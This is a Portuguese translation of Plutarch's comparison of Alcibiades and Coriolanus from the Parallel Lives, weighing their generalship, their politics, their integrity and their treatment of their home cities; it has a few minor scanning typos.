COMPARAÇÃO ENTRE ALCIBÍADES E M. CORIOLANO – Plutarco

COMPARAÇÃO ENTRE ALCIBÍADES E M. CORIOLANO – Plutarco

Plutarco – Vidas Paralelas

COMPARAÇÃO ENTRE

ALCIBÍADES E M. CORIOLANO

 

Ora, tendo exposto fatos relativos a ambos, ao menos aqueles que nos pareceram mais dignos de serem lembrados, podemos agora verificar em questão de armas, não ter nenhum levado grande vantagem sobre o outro. Ambos, nos respectivos cargos, provaram igualmente, não apenas ousadia e valor pessoal, mas também bom senso, astúcia e habilidade. Poder-se-á pretender talvez, que Alcibíades tenha sido maior e mais consumado capitão, consl-derando-se ter êle combatido maior número de vezes contra seus inimigos, tanto por mar como por terra, vencendo sempre. Quanto ao mais, eles têm isso de muito semelhante: onde quer que ambos tenham estado presentes, com permissão e autoridade para comandar, fizeram sempre, prosperar notoriamente, os negócios do seu lado, e mais evidentemente os fizeram piorar quando se voltaram para o partido contrário.

II. Quanto a assunto de governo, porém, a gente de bem e de honra odiava a maneira de proceder usada por Alcibíades no manejo dos negócios públicos, por ser cheia de afetação, dissoluta e dada à lisonja, tendo em vista que Alcibíades pretendia conquistar por quaisquer meios as boas graças e a simpatia da plebe. De outro lado também, o povo romano tinha aversão pela maneira de Coriolano, como sendo muito arrogante, soberba e tirânica, de forma que a atitude de ambos não merece louvor. É todavia menos repreensível quem procura favorecer e agradar ao povo, do que aquele que o despreza, ofende e injuria, temendo possa parecer que êle o queira adular, para aquisição de maior autoridade. Não é decente bajular a plebe para conseguir prestígio, mas adquirir autoridade e crédito para fazer-se temer, prejudicar e constranger a outrem, além de não ser honesto, é injusto. É bem certo que Márcio foi sempre considerado homem íntegro, de natureza simples, sem dissimulação nem artifício, enquanto Alcibíades, ao contrário, foi tido por esperto, afetado e falso. O que se censura mais nele quanto a isso porém, foi a malícia e o dolo com o qual iludiu os embaixadores lacedemônios, impedindo que se fizesse a paz, como narra Tucídides. Esse ato, entretanto, embora tenha em seguida, lançado na guerra a cidade de Atenas, tornou-a ao menos, mais poderosa e temível a seus inimigos, pela efetivação da aliança com Matinéia e Argos, que, por intermédio de Alcibíades, se aliaram e entraram em linha ao lado dos atenienses.

III. Quanto a Márcio, escreve o historiador Dionísio, que foi também por dolo e engano que êle lançou os romanos na guerra contra os volscos, tendo feito maliciosamente e sem razão, levantar suspeitas e espalhar calúnias em relação aos volscos que tinham ido a Roma para assistir ao divertimento dos jogos. A causa porém, pela qual êle agiu dessa forma torna o ato ainda pior, porque não foi por uma dissensão civil nem por ciúme e disputa em matéria de governo, como fêz Alcibíades, mas somente para servir a uma paixão colérica, à qual, como diz Dion, nada é bastante, que Márcio ateou fogo e pôs em confusão muitas regiões da Itália, arruinando, pelo rancor desperto contra o próprio país muitas outras cidades que nada tinham com isso.

IV. É bem verdade ter Alcibíades também, por ira e despeito, causado muitos males, misérias e calamidades a seu país. Mal porém percebeu, que os atenienses se arrependiam da injustiça a êle feita, voltou também atrás. Tendo depois sido expulso novamente, não quis. entretanto, pactuar com os erros praticados pelos capitães atenienses, nem deixá-los perder-se por insistir na sua má orientação, nem abandoná-los no perigo onde se colocavam, mas agiu da mesma forma pela qual agira outrora Aristides em relação a Temístocles, sendo até agora louvado por isso. Alcibíades também se dirigiu aos capitães, encarregados então do exército dos atenienses, embora não fossem seus amigos, indicando-lhes as faltas e o que deviam fazer. Márcio, ao contrário, preferiu prejudicar toda Roma sem restrição, embora não tivesse sido ofendido universalmente por todos os da cidade e sua parte melhor e mais sã, se sentisse ultrajada ao mesmo tempo que êle e sofresse como êle o mesmo pesar e desgosto. Os romanos, além disso, procuraram desfazer o único desprazer e despeito que lhe tinham causado, por meio de várias embaixadas e muitas súplicas e rogos, aos quais êle não quis dobrar nem amolecer seu duro coração. Márcio demonstrou por esse motivo, que êle empreendera essa guerra tão rude, na qual não queria ouvir falar em acordo, com a intenção de destruir e arruinar inteiramente seu país, e não para recuperá-lo e voltar a êle, Há em verdade a diferença de ter sido Alcibíades constrangido a volver-se de novo para os atenienses, por estar sendo espionado e tocaiado pelos lacedemônios, que o odiavam, e temiam, enquanto Márcio, fora tão bem recebido e tão bem tratado pelos volscos, que não podia, honestamente abandoná-los, visto terem-no honrado, a ponto de o elegerem general, confiando tanto nele a ponto de lhe colocar na mão todas as suas forças e poder. O mesmo não aconteceu com Alcibíades de quem os Lacedemônios abusaram mais que usaram, deixando-o perambular pela sua cidade, e depois pelo seu campo, sem honraria nenhuma, de forma que ele se viu, enfim, constrangido a lançar-se nos braços de Tissafernes, caso não se prefira dizer, ter êle ido, voluntariamente, fazer-lhe a corte com a intenção de preservar a cidade de Atenas da ruína total, animado pelo desejo de voltar para lá.

V. Foi escrito, quanto ao mais, que Alcibíades recebia muitas vezes presentes de forma pouco honesta, deixando-se também corromper por dinheiro, gasto em seguida por êle de maneira ainda mais ardorosa em prazeres desordenados e em completa dissolução. Márcio ao contrário, não quis, nem sequer, aceitar os presentes feitos legitimamente pelos seus capitães, em homenagem à sua virtude. Essa era a razão pela qual o povo ainda mais mal lhe queria na disputa dos plebeus contra os nobres relativa à abolição das dívidas, porque os pobres e a gente miúda percebiam perfeitamente que não era pelo ganho e proveito de sua parte, que Márcio se revelava tão contrário a eles na pendência, parecendo-lhes ser apenas por tê-los em repulsa e para contrariá-los assim expressamente. Não é, pois, sem motivo que Antipáter, em uma epístola, falando da morte de Aristóteles, entre as boas qualidades que diz tèr êle possuído, dá grande importância à de saber conquistar e atrair o coração dos homens. As boas obras e virtudes de Márcio por não terem sido acompanhadas dessa graça, tornavam-se odiosas mesmo aos que delas recebiam benefício, por não poderem suportar sua gravidade e obstinação, as quais, como diz Platão, mantêm-se solitárias, isto é, fazem com que os homens sejam pouco seguidos ou totalmente abandonados.

VI. E ao contrário, por saber Alcibíades entender-se de boa graça e comportar-se como devia com todo o mundo, não deve espantar ter sido sua glória altamente exaltada quando agia bem, sendo êle honrado, amado e benquisto pelo povo. Até mesmo algumas de suas faltas eram muitas vezes tomadas à ligeira, falando-se delas como de gentilezas feitas por brincadeira e divertimento. Daí a razão pela qual embora tendo causado muitos danos à república, foi não obstante, eleito capitão muitas vezes, deferindo-se também a êle os principais cargos da cidade, enquanto Márcio pleiteando em situação análoga, uma magistratura que lhe era devida, em virtude de muitos grandes serviços prestados à causa pública, foi, entretanto, repelido. Vê-se por aí como aqueles mesmos a quem Alcibíades fizera mal, não o podiam odiar, enquanto Márcio não conseguiu praticar todo o bem necessário para ser amado, mesmo por quem o estimava. Êle, por isso, não realizou nenhum grande ato de valor como capitão dos seus, fazendo-o apenas como capitão dos inimigos contra seu próprio país. Alcibíades nesse mesmo terreno, como homem privado e como chefe militar, prestou bons serviços aos atenienses. Enquanto esteve presente, êle por essa razão, levou sempre a melhor sobre seus caluniadores como bem entendeu. As calúnias destes não tiveram nenhum efeito contra êle senão durante sua ausência. Márcio entretanto, foi condenado pelos romanos em sua presença, sendo depois maltratado e morto pelos volscos. Não digo com isso que eles tenham agido bem nem com justiça, mas que êle lhes deu pretexto, pelo menos, para simular tais fundamentos, quando recusou publicamente a paz aos embaixadores romanos, concedendo-a, logo depois, em caráter particular, a instância e rogo das mulheres. Êle não eliminava assim a inimizade existente entre os dois povos e deixando permanecer o estado de guerra fazia perder àqueles pelos quais fora encarregado, a ocasião de explorá-la com vantagem. Cabia-lhe retirar o exército com o consentimento e por conselho dos que se tinham confiado tanto nele a ponto de fazê-lo seu capitão general, caso considerasse, como devia, a obrigação assumida junto a eles. Se porém não desse importância aos volscos ao empreender a guerra, tendo-a suscitado exclusivamente com a intenção de vingar-se, abando-nando-a depois ao aplacar sua cólera, não lhe cabia, por amor de sua mãe, perdoar a seu país, mas ao contrário, perdoando seu país, cabia-lhe poupar também sua mãe, porque sua mãe e sua mulher faziam parte do corpo de seu país e da cidade sitiada por êle. Porque sua repulsa inumana, a todas as súplicas e rogos públicos dos embaixadores e às orações dos sacerdotes e gente religiosa, e a concessão de sua retirada diante da prece de sua mãe, não correspondia tanto a honrá-la como a desonrar seu país, o qual foi preservado por piedade e por intercessão de uma mulher, e não pelo amor a êle próprio devido, como se não fosse digno de preservação. Essa retirada foi assim uma graça concedida de forma muito odiosa, não despertando a gratidão de nenhum dos partidos a quem a concedeu,, pois Márcio se retirou não a pedido daqueles a quem fazia a guerra, nem com o consentimento daqueles à custa de quem a fazia. A causa de tudo foi unicamente a austeridade de sua natureza, e de sua obstinação excessivamente presunçosa, distante e altiva. Sendo ela de si mesma odiosa a todo o mundo tornou-se ainda mais selvagem,, feroz e intolerável, quando se juntou à ambição. Os homens que têm esse vício na sua natureza, não querem fazer a corte ao povo como se pretendessem demonstrar não terem interesse pelas honras populares. Quando porém lhes são estas negadas, eles se irritam e mortificam.

VII. Porque um Metelo, um Aristides e um Epaminondas, agiam também dessa maneira de não querer bajular a comuna, nem procurar as boas graças da plebe com carícias e palavras lisonjeiras, mas isso se dava porque verdadeiramente desprezavam o que o povo lhes podia dar ou tirar. Não se irritavam assim contra seus concidadãos quando estes os condenavam a qualquer multa, ou baniam, ou os faziam suportar qualquer impaciência, voltando a amá-los, mal demonstravam arrepender-se da injustiça cometida contra eles, reconciliando-se imediatamente com o povo quando eram novamente chamados. Quem desdenha lisonjear o povo para obter seu favor deve também, menos do que qualquer um, vingar-se dele quando é maltratado, pois ressentir-se tanto com uma desconsideração ou recusa de qualquer honra, não procede de outra coisa senão do desejo excessivo de obtê-la.

VIII. Alcibíades realmente, não dissimulava o seu prazer em ver-se honrado e sua mortificação ao sentir-se desprezado e privado de. qualquer honra, mas procurava também os meios de tornar-se agradável e benquisto daqueles entre os quais vivia. Márcio, em situação semelhante, era impedido por sua altivez e orgulho de agradar .aqueles que o podiam honrar e fazê-io progredir, enquanto sua ambição o levava todavia, ao despeito, ao rancor e à mágoa ao sentir-se desprezado. É tudo quanto moti-vadamente se poderia repreender em Márcio porque, quanto ao mais, todas as outras qualidades boas e louváveis existiam nele muito aparentes, pois em temperança e limpeza de mãos que não se deixavam corromper por dinheiro, êle se pode comparar aos mais virtuosos, mais limpos e íntegros dentre os gregos e não a Alcibíades que certamente, quanto a isso foi sempre muito licencioso e dissoluto, dando pouca atenção ao dever da honestidade.


 

Fonte: PLUTARCO, Vidas dos Homens Ilustres. Edameris. Tradução de Paulo Edmur de Souza Queiroz, baseado na edição francesa de Amyot com notas de Brotier, Vauvilliers e Clavier.

 

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